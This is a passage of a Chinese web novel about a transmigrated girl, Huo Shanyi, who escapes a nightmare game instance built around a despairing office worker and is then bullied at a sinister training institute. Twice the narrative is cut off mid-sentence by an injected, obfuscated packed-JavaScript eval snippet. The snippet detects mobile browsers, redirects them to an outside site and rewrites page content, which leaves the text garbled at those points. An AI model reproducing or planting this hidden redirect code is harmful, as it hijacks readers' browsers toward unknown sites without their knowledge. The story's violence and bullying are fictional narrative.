电话的另一头的人语气淡漠得可怕。 她轻车熟路地呼喊着霍山漪的名字,不是原身“1231”的代号,也不是霍山漪的外号或者玩家ID。 “我来救你了。” 在这句话落下的瞬间,霍山漪的脑海里闪过她穿越前所经历的种种一切。 有关在副本里组队时,霍山漪一眼看中了一个性格孤僻,脖颈上有大片烧伤的女人。 有关霍山漪和那个女人十多年来,一起经历无数个副本,共同跨越的千山万水。有关并肩作战,有关同甘共苦。 有关女人的名字——程万水。 最后霍山漪想到,在某个凛冬的深夜,她做了个噩梦,醒来时,程万水正靠在一块巨石旁边生火,她把外套给了霍山漪,自己只围着一件戴到已经开线的蓝色围巾。 那还是刚进游戏的第一年,她和霍山漪在无限游戏玩家底层摸爬滚打的时候,霍山漪用好不容易攒到的积分给她换的。 那时,霍山漪还没有被程万水的火系异能活活烧死,那时,她们还是可以互相信任的队友,那时,程万水最常说的话就是—— “霍山漪,我来救你了。” 霍山漪捏着电话,下一秒,她感受到自己攥着塑料袋的那只手感受到,有什么东西鼓动了一下。 紧跟着,是一声刺耳的“呱——” 4. 皮鞋(三) 假的。 程万水的声音是假的,程万水是假的,一切都是假的。 无数个新从塑料袋里钻出来的曹意怜拥挤在大街上,霍山漪几乎快被挤到没有落脚的地方。 “我在你的右边,霍山漪。”“程万水”的声音再次落到霍山漪耳畔。 不要看。 这只是副本的把戏。霍山漪提醒自己。 为了让玩家沉溺于副本创造出来的,美好的虚幻之中,副本会根据人的记忆,产生一个人所渴望的,生命中最重要的,信任的物品,人或者一切。 在精神辐射重度污染的区域,人的精神防御也会变得不堪一击。 有的NPC对外来者的敌意非常大,就会故意用这些记忆制造幻象,引诱人一步步走向副本的陷阱,被副本同化成NPC。 有的NPC还会这些幻象引诱外来者直接触犯副本内的死亡规则,从而杀死外来者。 但有些时候,这些NPC也是变相地给进入副本的人提供生路。 毕竟,进入副本的主要目的并不是解密,而是打破美好的谎言,承受痛苦。 和NPC承受同等代价的痛苦,副本内就会出现离开的生门。 “霍山漪,我在你的右边,我被困住了。”“程万水”还不断在电话那头游说霍山漪往她的方向看。 霍山漪没有回答,没有挂断电话,也没有朝“程万水”的方向看。 “我不该朝你放火的,霍山漪,对不起,我不该把你烧死。” 程万水的声音似乎从很远的地方传过来,但似乎又离霍山漪很近。 霍山漪原以为,被程万水活活烧死后,她内心深处最大的愿望就是杀了程万水报仇。但副本给她的答案却是,她只想要程万水一个微不足道的道歉。 “你原谅我吧,霍山漪。” 霍山漪默默攥紧了翻盖手机,最后,她还是没忍住,朝“程万水”的方向看去。 一成不变的黑长直,死板的黑色风衣和西装裤,脖子上却围着亮色的蓝围巾,这是程万水和她组队通关副本时最平常的打扮。 在原来的世界,因为自己十六岁出过车祸忘记许多事情,在这个世界上没什么必要的牵挂,霍山漪几乎从未感受过,被副本拿捏住软肋的憋屈。 她太想活下去,找到回到原来世界的方法,质问程万水了。 千言万语如鲠在喉,霍山漪沙哑着嗓音问:“为什么。” 她活下去,只是为了一个答案。 所以,为什么? “你过来,我就告诉你为什么。”“程万水”不紧不慢地回答,连真的程万水说话时的不咸不淡的语气都复制得一模一样。 霍山漪魔怔般往前,朝她的方向走去。 进入副本的玩家,只要有一点精神松动,就会被副本里无处不在的精神辐射入侵,如果一直这样下去,最终就会完全同化成副本的NPC,成为副本的养料。 想听到程万水说原因,想再见到程万水。 好贱。 霍山漪忽然清醒过来。 都被人杀了还指望人家说句“对不起”吗?道歉有什么用?不如看着程万水的尸体忏悔。 她抬起头,继续朝“程万水”走去,透过写字楼的玻璃,她看见里面的虚影背对自己走动,和她这边走动的NPC。 是错开的,根本对不上号。 霍山漪又往另一边看去。 另一边玻璃写字楼上的人影在往天上走,也和霍山漪这边的NPC对不上号。 所以,玻璃门里不是NPC的倒影。 副本世界一般是独立于外面世界的小世界,里面通常只有一个单线运行的故事,仅仅重复发生副本NPC无法跨越的悲痛。 但这个副本里有无数个一模一样的小世界,看现在的情况,霍山漪猜测每个拿到钥匙进入副本的人都会进入不同的长街,遇到不同的曹意怜。 虽然,这些曹意怜都长得一模一样,要做的事也一模一样。 它们都在往前走。 电话,皮鞋,青蛙,塑料袋,走不到头的长街,进不去的写字楼,以及永远在路上的曹意怜,数不清数量的曹意怜。 霍山漪就夹在这些曹意怜中间,在她旁边走动的,一个新生的曹意怜尖叫一声,她低头看着自己的皮鞋,然后,她拿出手机,疯了一般打电话,“我的皮鞋里,有青蛙在叫!” 电话接通的瞬间,曹意怜颤抖着声音对着电话那头的人说。 “我的皮鞋里真的有青蛙在叫,不信你听!”曹意怜垂下长到站着都可以杵到地面的手,把翻盖手机的听筒对准自己的皮鞋底,然后,她开始摩擦。 “你听见了吗?” “你听见了吗?” 曹意怜重复地发问。 但是电话那头什么声音都没有。 就像霍山漪第一次被曹意怜问——“你听见了吗”的时候。 这个新生的曹意怜忙不迭地又给另一个人打电话,“我的皮鞋里有青蛙在叫!!” “你听见了吗?” “你听见了吗?!” 直到把通讯录里的电话号码打了个遍,曹意怜才哀莫大过心死,怔愣地重复道:“为什么他们都听不到呢?为什么他们都听不到呢?” 曹意怜的思维其实很简单,它需要完成自己的任务——去医院看生病的母亲,借钱给母亲交手术费,做这个季度最新报表的PPT,还房贷,给孩子缴补课费,回家做饭。 做这些事之前,它需要到达指定的地点,去看望母亲需要先上路去医院,借钱需要亲自去亲戚家拜访,做PPT需要回家,或者去公司拿电脑,缴费需要去补课班开设的地点…… 曹意怜们一直在同一条路上,来来回回,无休无止地往前走。 前方有什么? 有医院?有孩子的补习班?有家?还是有云荒街东路的鞋匠? 曹意怜永远在路上。 但它已不再年轻。 “你往前走。”“程万水”说。 霍山漪透过来来往往,全都是曹意怜的人群看向写字楼玻璃门后的程万水,却并没有下一步动作。 “往前走,霍山漪。”“程万水”再次出声催促。 霍山漪举着电话,叫她的名字,“程万水。” “怎么了?”电话那头的程万水也跟着做出一个疑惑的表情。 霍山漪拿出自己进入副本时得到的透明塑料袋,她笑了一下,看向程万水,下一秒,她脱下脚上的皮鞋,猛地朝程万水的方向砸过去。 “砰!” 玻璃一瞬间碎裂,程万水的脸也跟着破碎。 但玻璃的后面是一扇新的玻璃,和霍山漪以往遇到过的副本基本相同,副本内几乎都是像年轮一样层层叠叠的构造。 她朝程万水的方向走过去,刚迈出去一步,她发现,自己好像离开了原地。 一阵撕心裂肺的疼痛席卷而来,仿佛有一双无形的手捏住了霍山漪的心脏,修剪得坑坑洼洼的指甲在上面的血管抠挖,霍山漪差点没忍住跪下去。 霍山漪已经猜到了,这个副本里能触发痛苦回忆的关键,就是皮鞋。 即使霍山漪耳边一直都是青蛙的叫声,即使曹意怜自己都是青蛙的模样,但最终迫使曹意怜彻底崩溃的,是这双破开底的皮鞋。 于是,她脱下皮鞋,砸向这些看起来像囚笼的,把霍山漪困在这条街上走不动一步的玻璃门。 “咚——” 掌心感受到一丝温热,手里的塑料袋像是有什么东西在跳。 霍山漪抬起塑料袋,她在里面看到了一只鲜活的,正在鼓动腮帮子的青蛙。 曹意 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“砰!” “砰!” “程万水”冷漠地看着她一步一步朝自己的方向走来。 每走一步,霍山漪手里塑料袋的青蛙就会鼓动一下腮帮,像心脏在跳动。 “咚——” “咚——” 霍山漪几乎快要抑制不住地倒下。 但霍山漪必须往前走。 只有成为曹意怜,像曹意怜一样歇斯底里,她才能离开副本。 “呱——” 霍山漪每走一步,就会从皮鞋底传来一阵清脆的蛙鸣。 直到她缓慢而痛苦地来到“程万水”面前,透过写字楼的玻璃门,她没有看见“程万水”。 上面映照出来的,只有一张黑眼圈几乎快要耷拉到地上的,疲惫而苍老的,女人的脸。 霍山漪往旁边歪头,玻璃门上的人影也往相同的方向歪头,霍山漪又往另一边歪头,上面的人影也同时朝另一边歪头。 霍山漪确信,她现在变成了曹意怜。 “往前走,曹意怜。” 霍山漪还没有放下拿着电话的手,她听见“程万水”清冷的声音。 面前已经没有路了,霍山漪扬起手里的皮鞋,玻璃碎裂的一瞬,“程万水”完全消失,一条和霍山漪之前所在的地方一模一样的街道出现在她眼前。 路上是来来回回不断在原地徘徊的NPC,它们穿着款式最平常的白色衬衫,打着黑色长领带,黑色西装裤膝盖上的布料已经磨损到抛光,脚上踩着一双鞋跟被磨成弧形的旧皮鞋。 它们的身形都很瘦,而且瘦得几乎只剩皮包骨,手却比正常人长出一大截,稍微弯着腰就能触碰到地面。 唯一不同的是,这条街道的尽头有一个长着正常人身体的NPC,它坐在一根矮脚板凳上,戴着黑色的皮围裙,身后是一个载着各种各样修鞋工具的三轮车。 一块不知道用了多少年的,又大又宽的抹布放在它面前,上面零零散散放着一些常用的,修补皮鞋后跟的补丁,和打磨鞋跟的刷子和刀。 写着“修鞋/补鞋”的纸板无力地瘫在抹布前端。 在NPC旁边还竖着一块路牌。 上面有人用记号笔写着——云荒街东路。 霍山漪缓慢挪动脚步,朝那位鞋匠NPC的方向走去。 她迈出第一步,脚却不知道踩到什么东西,猝不及防地崴了一下,刚好硌在了一块小石子上。 石子有点锋利,在她原本完好无损的皮鞋底上划开一个小洞。 然后,霍山漪听见了很轻的一声—— “呱——” 5. 皮鞋(四) 霍山漪向来是效率主义者,她习惯最短的时间干最多的事。 不是卷,单纯是她喜欢做事。 天空中的数字依旧是“89”。 合格名额还有29个。 霍山漪低下头,刺鼻的消毒水味将她重重包裹。 白天的医院总是吵闹得很,霍山漪这具身体的听觉本就灵敏,一到这个地方,听到无数个人讲话的声音,差让她混乱到吐出来。 干呕了几声,霍山漪开始毫无预兆地,不受控制地往前走,她手里不知何时已经提上了一个饭盒,里面装着还温热的青蛙汤。 再睁开眼时,霍山漪已经到了这个地方。 医院的住院部只能坐电梯,单数坐左边的电梯,双数坐右边的电梯,不论是哪个电梯门前都大排长龙。 电梯到达一层,霍山漪不受控制地跟着前面的人群走进去,结果刚好到她的时候,电梯超载,霍山漪没有办法,只能出来。 等下一趟电梯到来,还没等她往前走,身后的人就一股脑地把她挤进电梯的角落。 饭菜的香味,汗臭味,脚臭味,甚至还有谁三四天没洗头的油腥味在狭窄的电梯里不断膨胀混杂。 霍山漪再次没控制住,干呕了一声。 好吧,这具身体的嗅觉其实也很灵敏。 而且灵敏得有点过头了。 电梯到达十层,霍山漪好不容易从人群中挤出去,来到走廊里加的某个床位旁边。 “妈,你今天感觉怎么样?”霍山漪只觉得自己的嘴巴也被人控制住了,她坐到一个正在输液的,穿着病号服的女人旁边,熟练地打开饭盒,“我跟你说,我今天走在路上——” 还没说完,病床上的女人就打断了她,“我挺好的,阳阳昨天给我打电话了,他说,他想吃外婆做的红烧青蛙,你给我办个出院,我今晚要给阳阳做红烧青蛙。” 霍山漪叹了口气,她不想叹气,但她的整个身体都已经不受自己控制了,“妈,阳阳要吃什么我会给他做,你不用操心,好好把病治好……” 女人再次打断道:“阳阳要吃的是外婆做的红烧青蛙,不是你做的,我的外孙我不宠着难道还留给别人宠?” “阳阳奶奶明天过来会给阳阳做他爱吃的东西的,妈你就别操心了,你这个身体……” 霍山漪依旧是话说一半就被女人迫不及待地打断。 仿佛她的话都是没用的废话。 “阳阳那个奶奶有多刻薄你又不是不知道,她一过来就要说你这儿做的不对,那儿又没伺候好这一大家子,我这是为你好。” “我知道。”回答女人时,霍山漪能感受到,曹意怜内心掩盖不住的苦涩和郁闷。 “阳阳最近学习怎么样?在学校听话吗?” “阳阳最近挺好的。”霍山漪话音刚落,脑海里就浮现出曹意怜到幼儿园,给其他被阳阳欺负过的孩子家长道歉的画面,以及—— 阳阳在班上倒数第一的成绩表。 幼儿园就倒数?而且试卷大部分都是空白的,这孩子是不是智力有问题?霍山漪蹙眉。 “你家那个最近没咋加班了吧,当父母的得多陪陪孩子,他要是加班,你这个做妈的就得好好担起责任,别把孩子耽搁了。” “我知道,他——”说到曹意怜自己的老公,霍山漪很明显能感觉到她心虚地顿了一下,“他这些天都不忙。” 说到这,操控霍山漪身体的曹意怜不再说话,等女人喝完猪脚汤,吃饱了,她没在医院逗留,拿着饭盒离开。 刚踏出医院一步,心脏又是一阵强烈的刺痛,下一秒,霍山漪便站在了一个还算温馨的小家里。 “我跟你说,我今天走在路上——” 话还没说完,坐在沙发上的男人就打断了她:“我妈今晚要来家里,她住一个星期,你等会儿做完菜把家里收拾一下。” 甚至,霍山漪还没来得及换鞋。 “你的意思是我给你和你儿子做完菜,我还不能吃,要先给你妈收拾房间是吧?你回来得这么早怎么不自己收拾?” “什么叫我儿子,你生的,这里面当然有你一份。而且你出去看看,哪有男的收拾房间做家务的?” “那我嫁给你,是该你的吗?黎昌年。” 名叫“黎昌年”的男人并不回答,他不慌不忙地喝了口白开水,“不然呢?还有,水要没了,现在先去烧水。” 曹意怜几乎要气到极致,感受到塑料袋里的东西“咚咚咚——”不断加快速度地跳动,霍山漪忽然觉得,自己手里拿着的不是青蛙,而是曹意怜的心脏。 “你要去哪?你还能去哪?” 这具不受控制的身体停下换鞋的动作,正要开门往外走,霍山漪就听见黎昌年来了这么一句。 “你在跟我发脾气吗?”黎昌年挑眉,从始至终他就没从沙发上站起身。 霍山漪回头看了黎昌年一眼,然后,她冷漠地说:“我要去死。” “砰”的一声关上门,最后被关门声淹没的,是黎昌年的冷笑。 心脏刺痛的感觉再次涌上来,下一秒,霍山漪又站在了自己的工位上。 还没坐下,霍山漪就听见一个清亮的女声对她说:“曹姐,李总叫你过去一趟。” “你已经请了三天假了,小曹,不是我说,你看看公司里哪有人像你这样不要命地请假的?” “公司现在正在上升期,你作为老员工更应该体谅体谅,你妈妈生病了我们这边也不是不能理解,但你不是还有你老公吗?你俩轮着来照顾照顾嘛。” “而且你家阳阳最近上补习班不是也要很多钱吗?你这样请假,工资肯定是要扣掉大半的,何况,公司最近要优化员工了,小曹啊,你还是注意一下,别连阳阳的补习班费都交不起了啊。” 言语中都是威胁的意味,从始至终,霍山漪只站在李总办公桌的对面,点头哈腰地赔着笑脸。 然后,曹意怜操纵着霍山漪的身体往外走,每走一步,霍山漪都能听见脚下坏掉的皮鞋发出“咕咕”的叫声。 最开始还是像深眠时无意识磨牙的声音,后来,越听越像一只青蛙在叫。 青蛙。 阳阳最喜欢吃青蛙了。 霍山漪脑海中浮现出一个坐在餐桌上夹青蛙腿的孩子。 曹意怜的孩子。 黎昌年也会吃青蛙,他会给阳阳夹青蛙腿。 妈妈最喜欢用青蛙做菜了。 因为阳阳喜欢吃。 回到工位,霍山漪开始不受控制地收拾自己的东西。 “你要去哪儿?曹姐。” “我也不知道”霍山漪听见自己说,“想去哪就去哪儿吧。” “你不给你家阳阳买青蛙了吗?你家阳阳最爱吃青蛙了。” 霍山漪看不清说话的人的脸。 再低头,她发现自己的手变得特别长,自己的腿也不知道什么时候弯折起来了,玻璃上倒映着霍山漪的脸,眼睛凸出眼眶,瞳孔几乎占据整个眼球,一动不动的,就像青蛙那样。 “痛苦吗?” 似乎有人在霍山漪耳边说话。 “痛苦的话,就站在原地吧,一切苦难将迎刃而解。” 只要不到达目的地,就永远不用面对痛苦。 曹意怜是女儿,是母亲,是妻子,她每天都会去菜市场,买母亲最爱吃的青蛙,买阳阳最爱吃的青蛙,买丈夫最爱吃的青蛙,然后小心翼翼地用塑料袋装好,慢慢地,很慢很慢地回家。 可她今天不想回家,曹意怜提着塑料袋,提着她刚买好的青蛙。 就像一只青蛙提着另一只青蛙。 这只青蛙要去哪呢? 霍山漪往公司大门的方向去,每走一步,她都能听见,破损的皮鞋与地面摩擦出,像是谁在磨牙,又像是蛙鸣的声音。 “我要去修鞋,”这时,霍山漪忽然对曹意怜说,“我的皮鞋坏了,我要去找鞋匠修鞋。” 曹意怜没有回答。 “修完鞋我要回家,给阳阳做红烧青蛙。”霍山漪继续说。 曹意怜依旧没有回答。 不论如何,不论怎么痛苦,生活仍然要继续下去。 这是霍山漪的答案。 也是曹意怜忘记的愿望。 “希望你比我幸福。”听到曹意怜这话时,霍山漪已经再次回到了通往云荒街东路的那条长街。 在无休无止的路途中,曹意怜唯一的愿望,是去云荒街东路的老鞋匠那里修鞋。 她的皮鞋坏了,里面有青蛙在叫。 鞋匠现在就坐在霍山漪面前。 他问:“修鞋?” 霍山漪点了下头,她垂下眼帘时,忽然发现自己的双手鲜血淋漓,而被她拿在手里的透明塑料袋不知何时完全被染成了红色。 里面的东西正“咚——咚——”地跳动着。 霍山漪翻开塑料袋,一只被捏爆的青蛙,它的血肉,它的骨骼,在塑料袋里翻腾。 “呱——” 霍山漪看见它断掉的头鼓起腮帮子,发出一声悲鸣。 “呱——” “咚!”鞋匠将一块好的皮鞋底钉进皮鞋,补上了那块被划出来的洞。 “咚!” 锤子高高扬起,每往下锤一次,塑料袋里的青蛙就会叫一次。 声音一次比一次微弱。 直到鞋匠把皮鞋还给霍山漪,“你的鞋修好了,欢迎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079406|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下次光临。” 话音落后的瞬间,那块原本写着“云荒街东路”的路牌变成了一扇防盗门。 看起来,和曹意怜家的防盗门一模一样。 霍山漪上前一步,脱下新修好的,漂亮的,看起来非常新的皮鞋。 然后,门自动打开。 霍山漪没有立刻出去,现在出去她就是第二名,太惹眼了,而且,她不喜欢第二。 别问,问就是第二这个名次一点都不吉利。 第一才吉利,但她也不能当第一。 霍山漪安静地等在原地,直到天空中的数字变成“61”,她才不慌不忙地离开。 在即将离开副本的刹那,她回头看了鞋匠一眼。 鞋匠的腮帮子似乎鼓动了一下,霍山漪似有若无地听见了一声“呱——” 还没来得及确认,霍山漪就回到了她进副本的地方,周围是浓郁的血雾,破烂不堪的街区和空中飞扬的绿色粉尘,像章鱼的触手那样死死缠住废弃建筑的植物藤蔓缓缓蠕动。 二十几个七岁左右的小孩站在树下,凉薄的眼神扫过霍山漪。 “科目一竞速考核第30名,复制人1231,无异能,当前精神值:100。我是联邦总部脑机系统助手X,恭喜您成功通过教师资格考核科目一,祝您生活愉快。” 脑海中出现一个从未听到过的,冰冷的机械音,霍山漪愣了一下。 她确信自己从来没有安装过什么高科技,脑机……为什么会有一个系统X在她的脑子里和她对话? 是那天的体检。 霍山漪深吸一口气,真的有人把她的脑袋弄开,在里面放了什么东西。 “最后出来的,居然还真是这个没有异能的复制人,”离霍山漪最近的,一头金发的小女孩冷哼一声,“好吧,打赌是你赢了,苹果。” 金发女孩抛给另一个名叫“苹果”的女孩一颗金色的苹果,“愿赌服输。” 苹果是个戴着黑色口罩的小女孩,她和霍山漪一样,长着一头自然小卷的长发,眼睛也是黑色的。 “1231是吧,我这辈子最讨厌的就是复制人,你运气真好,没有异能也能误打误撞从副本里出来,不过,好运到此为止了,1231,遇到我,可是会倒一辈子霉的哦。” 金发女孩抬头睨了霍山漪一眼,露出一个恶劣的笑容,带着身后的几个和她年纪相仿的小孩刻意撞开霍山漪。 霍山漪一下没站稳跌坐在地。 感觉自己像韩剧里被霸凌的女主,身边的人又邪恶又刻薄,不过,霍山漪也不会咽下这口恶气就是了。 霍山漪回头看了金发女孩一眼,正要起身,另一个叫苹果的女孩走到她身边,伸出手。 “谢谢。”霍山漪很轻地拉住苹果,还没反应过来,苹果便用力握住她。 像是有钉子在往霍山漪的手心钻,尖刺似乎要将手掌扎穿,霍山漪一下被痛得差点没忍住叫出声。 好痛!!! “你怎么了?不舒服吗?”罪魁祸首一脸无辜地看着霍山漪,但掩藏在无辜之下的狠厉,霍山漪也没有错过。 仿佛只要霍山漪说一个“不”字,苹果就会立刻弄死她。 霍山漪:…… 想平淡地活着就这么难吗? 霍山漪没有回答,直到苹果心满意足地收回手,她才从疼痛中缓过神。 掌心果然有一颗很长的钉子,钉子的尖端从手背钻出来,翻出来一片鲜红的皮肉。 霍山漪深吸一口气,狠下心迅速把钉子从手心里拔出来。 一瞬间,被拔出来的钉子便变成粉尘烟消云散。 鲜血顺着手掌的洞口不断往下流,手指轻轻颤抖着,霍山漪从白裙子上撕下一块布,简单把伤口包扎好。 其他小孩漠然地从她身边走过,仿佛什么也没看见,站到修女妈妈面前。 正如霍山漪之前说过的一样,培养院的小孩都不太待见她。 或许是因为她没有父母,又或许是因为她没有异能,又或许是因为她从不说话。 现在她要加一个条件了。 或许是因为,她是复制人。 虽然霍山漪一直不了解复制人是个什么存在,但想来也好不到哪去,毕竟福利院听到她是复制人不要她,培养院的人知道她是复制人也不待见她。 她走在最后,来到修女妈妈面前时,前面已经站满了人。 “教师资格考核科目一已经结束,”修女妈妈站在树下,眯起眼睛说:“七天之后,科目二关怀考核即将开始,这七天,培养院将为考核通过的孩子免费提供热食和单人住宿。” “愿拉弥亚保佑,愿你们成为乌托邦最伟大的老师。” 6. 吃个断头饭 “科目一考核的第一名是苹果。” “她只用了一个小时就通关了副本。” 修女妈妈开始慢悠悠地念排名,话音刚落,看起来和苹果是敌对关系的金发女孩就扫过去一个赞赏的目光。 “第二名是蝴蝶,她只比苹果晚了一个小时。” 蝴蝶就是金发女孩的名字,修女妈妈念到她时,她的眼神忽的又转变为挑衅,“苹果,我下次一定会赢过你。” 晚了一个小时?霍山漪瞥了蝴蝶一眼,又看向苹果。 这个死苹果还挺厉害。 其他小孩并没有露出震惊的神色,只是在念到霍山漪原身的名字时,这些小孩才勉强有了一丝波动。 “1231,你是个聪明的小孩,培养院里,只有你没有异能,但是你通过了科目一的考核,”修女妈妈看向霍山漪的目光温柔而慈祥,“我希望,大家能为1231鼓掌!” “啪!” “啪!” “啪!” 修女妈妈在为霍山漪鼓掌,大巴车上其他小孩却没有任何动作,他们只是安静地看着霍山漪。 一个没有异能的复制人,能超过六十个异能者通过科目一考核?说出来谁信? 不过,没有人提出异议,他们只是看着,似要把霍山漪盯出一个洞。 霍山漪忽略了这些目光,幸好她没有第二个就通关副本,不然这些如狼似虎的人会做出些什么,她可不保证。 “那些没有合格的人呢?他们不和我们一起回去吗?”苹果看了一圈,没有看见其他还被困在副本里的人,便问修女妈妈。 大巴车来的时候满满当当坐满了90个小孩,离开的时候却空空荡荡只坐了三十个人。 “之后会有人把他们接出来,联邦会保证每一个孩子的人身安全,苹果,你是个善良的小孩。”修女妈妈上前抚摸苹果的头发。 善良。 善良,所以把钉子扎进霍山漪的手心? 霍山漪的嘴角抽搐了一下,抬眼却恰好对上苹果意味不明的笑。 有种被恶魔盯上的感觉。霍山漪漫不经心地移开视线。 不过,谁是恶魔,也还说不定。 培养院坐落于乌托邦地上城的边缘,云荒街35号,旁边就是污染隔离罩,隔离罩之外就是重度精神辐射区。 副本就在精神辐射区内密集发散。 来培养院上课的研究员说,那片精神辐射区原本也是正常人类居住的城市,只是精神崩溃的人太多了,再加上全国各地都在爆发辐射,联邦自顾不暇,只能放弃。 于是,越来越多的城市,居民区变成副本辐射区。 曹意怜说,她要去云荒街东路修鞋,大概,她精神崩溃变成NPC之前,就住在云荒街附近,她成为NPC后,那片区域自然而然也成了辐射地带。 隔离污染的保护罩刚好又在乌托邦边缘,把云荒街一分为二。 在这个所有人都提心吊胆活着的年代,要精神崩溃简直不要太容易。 所以,为了避免辐射在隔离罩内继续扩散,联邦颁布了《乌托邦公民情绪管理法则》。 凡事乌托邦公民,都不允许流露出任何负面情绪,否则,检测公民情绪的巡逻队会根据定位,对有负面情绪的公民立刻执行死刑。 甚至霍山漪进入培养院,了解到的,成为老师的第一个要义也是:保持情绪稳定。 她来面试当天,去体检的时候就重点测试了情绪状态。 情绪状态达到积极,她才被放了进来。 其次,成为老师的第二个要义是温柔。 培养院给出的第二个是关怀考核就和这个有关。 但具体的考核内容,和第一次考核一样,霍山漪没有从任何人口中听到。 回到培养院,回到自己的狭窄的单人宿舍,霍山漪准备好好睡个觉,为七天后的科目二做准备,忽然听见有人在宿舍对面的办公楼谈话。 “不合格的人都处理了吧。”一个有点陌生又有点熟悉的女声在说。 回答的人则是修女妈妈:“处理好了,慰问金也打给家属了。” “我再提醒一遍,这些人都只是为苹果铺路的垫脚石,都是要死的,不要在他们身上浪费时间。” 霍山漪猛地从床上坐起身。 什么意思? 他们这群人除了那个苹果都要死?!那些没有合格的人已经死了? 霍山漪深吸一口气,还好她没有选择摆烂重考,不然她现在又死一遍。 这个所谓的培养院果然只是骗局。 “我知道,我办事利索,你大可以放心。”修女妈妈冷笑一声。 “我听说,这次竞速考核前三十名里,还有一个没有异能的复制人。” 听到这,霍山漪总算打起精神,复制人究竟是个什么样的存在,才让她来到乌托邦整整七天一直被孤立? “一个无足轻重的残次品复制人,妨碍不到苹果。”修女妈妈说。 “但苹果有意无意地在接近她。” “苹果是预知异能,或许这个残次品对她有用,她才会接近1231。” “1231?那个复制人居然是数字编号?” “没错。” “时刻注意这个1231,如果她有任何伤害苹果的倾向,立刻杀了她。” 听到这话,霍山漪抬起自己刚刚才重新包扎过的手,不知道该说什么。 就那个苹果,那个把钉子死命往她手心塞,把她整个手掌刺穿的死苹果。 霍山漪有这个能耐,能伤害到她??? 修女妈妈附和说话的女人:“的确,苹果是个善良的好孩子,她过于温柔,很难对付这种心思复杂又邪恶的复制人。” 嗯。 苹果善良,温柔,霍山漪就是邪恶复杂是吧。 “有X在,它能检测到培养院发生的一切,它被创造的使命就是保护苹果,只要有X在,乌托邦就还有希望。” 谈到X时,两人的语气都带着一股崇高的尊敬,但有关脑机助手X的信息,霍山漪并没有听到多少,培养院的大人除了尊敬,还很忌讳提到X。 紧跟着,在两人有一搭没一搭的谈话声中,霍山漪沉沉睡去。 第二天,霍山漪特地起了个大早去吃午饭。 培养院今天休息,明天才有教师培训课。 来到食堂,霍山漪先看了一眼菜谱,今天中午的菜是食卤鸡腿,晚上是芝士奶油火鸡面,明天中午是大份小龙虾包,晚上是黑胡椒土豆泥。 好香。 光是看着,霍山漪都要流光自己的口水了。 不过,就算再馋,霍山漪进到食堂还是先观察了苹果在哪个方位,然后挑了一个离她最远的窗口打饭。 毕竟苹果是温柔善良的小女孩,霍山漪是邪恶狠毒的残次品。 好不容易排到自己,霍山漪迫不及待地对打饭阿姨说:“一个鸡腿,一个馒头,谢谢。” 香喷喷的鸡腿,瞬间让霍山漪担心自己会在培养院被折磨死的思虑,烟消云散。 首先,她只是个七岁小孩,没异能,没父母,别人要她死,她根本没能力反抗。 其次,照目前的情形,复制人是对正常人具有较强攻击性的实验品,在乌托邦属于是人人喊打的存在。 很不巧,霍山漪就是一个复制人。她就算能离开培养院,在外面也难逃一死。 最后,霍山漪想做个饱死鬼。 上辈子死的时候她没吃饭,这辈子总不能还饿着肚子下地狱吧。 而且,今天晚上还有芝士奶油火鸡面,霍山漪光是想想,都要流口水了。 她端着餐盘,准备找个僻静的角落坐下。 下一秒,一个熟悉的女声落在她耳畔。 “要和我一起吃吗?”苹果不知什么时候来到了她的面前,端着一盘做好的牛排。 为什么苹果能吃牛排,霍山漪就只能吃鸡腿? 霍山漪不理解,霍山漪只能看着苹果手里的餐盘咽口水,但她没回答苹果。 昨晚那两个说话的人都要因为苹果靠霍山漪太近,想杀了霍山漪,难不成还指望霍山漪给苹果赔笑吗? 霍山漪转身就要走,还没迈出去下一步,她就感觉神后一阵巨大的推力,再睁开眼时,她的卤鸡腿和馒头已经掉在地上了。 就算再迟钝,霍山漪也已经意识到,苹果这是在故意针对她。 周围吵吵嚷嚷,各种不同的目光轻蔑地扫过霍山漪。 “这种残次品复制人就是笨手笨脚的哈。” “要不怎么说是放大了劣质基因的残次品呢?” “也就苹果善良,还愿意和她坐在一起,让她不那么孤单了。” “这个1231怎么还不去死。” “有《复制人保护法》你还想看着她去死呢?” 声音。 各种各样不同的声音疯了一般涌进霍山漪的耳朵,这具身体的五感都特别灵敏,甚至已经灵敏到超越了人的范畴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14079407|149471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 有时候霍山漪觉得这具身体就是冷漠的机器,有时候她又觉得这具身体还残存着人类的感情。 她在副本里看向曹意怜的悲恸,不像是霍山漪自己的情感。 又比如,在听到这些人都想让她去死的时候,她感觉到自己的心正一抽一抽地疼。 霍山漪是个成年人,她在原来的世界经历过很多类似的事,已经脱敏了,但这具身体还只是个七岁小孩。 她本想从地上爬起来,但这具身体摔了一下似乎摔出了一点问题,最后她只能手脚并用地朝自己的卤鸡腿爬过去。 “我来帮你吧。”苹果放下餐盘,优雅地绕到霍山漪面前,在她的手即将触碰到鸡腿的一霎那,苹果穿着黑色皮鞋的脚狠狠踩在了她的手背上。 “1231,你喜欢吃鸡腿吗?”苹果一直戴着黑色口罩,霍山漪看不清她的脸,却能清晰地看见她那双漆黑的,如同黑星一般看不见什么光的眼睛。 紧跟着,苹果蹲下身,手掌覆盖上霍山漪的后颈。 疼! 好疼!!! 和昨天一模一样的,像钉子扎进骨肉的,刺骨的疼没入霍山漪的痛感。 